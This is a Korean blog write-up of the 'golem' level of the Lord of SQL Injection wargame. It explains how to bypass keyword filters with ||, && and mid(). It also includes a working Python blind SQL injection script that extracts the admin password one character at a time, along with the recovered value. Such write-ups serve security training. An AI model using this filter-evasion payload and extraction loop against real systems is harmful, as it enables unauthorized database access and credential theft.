Web/Lord of Sql injection

golem 문제 풀이

Namchun 2023. 9. 9. 01:03

코드 분석

or, and, substr(, = 문자열들을 필터링한다. 또한 blind로 문자를 하나씩 알아내야 하는 것으로 보인다.

공격 기법

or과 and는 이전 darkelf 문제에서도 설명되었듯이 ||와 &&로 우회할 수 있다.

그렇다면 substr() 함수는 어떻게 우회해야 하는가?

 

mid(), substr(), substring() 이 3가지 함수들은 mysql에서 문자열의 일부분을 가지고 오는 함수들이다. 다른 함수처럼 보이지만, 모두 동일한 역할을 수행하고 사용법마저 동일하다.

 

이중에서 'substr(' 문자열이 포함되어 있지 않은 mid() 함수를 사용하여 코드를 작성할 수 있다.

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'

password = ''
for i in range(1, 8+1):
    for ct in range(32, 127):
        payload = f"' || id like 'admin' && ascii(mid(pw,{i},1)) like {ct} # '"
        params = {'pw':payload}

        r = requests.get(url, params=params, cookies={'PHPSESSID':'rk7paui3i2pk8quk5ara8mm541'})

        if 'Hello admin' in r.text:
            password += chr(ct)
            print(password)
            break
# 77d6290b

'Web > Lord of Sql injection' 카테고리의 다른 글

bugbear 문제 풀이  (0) 2023.09.10
darkknight 문제 풀이  (0) 2023.09.10
skeleton 문제 풀이  (0) 2023.09.09
vampire 문제 풀이  (0) 2023.09.09
troll 문제 풀이  (0) 2023.09.09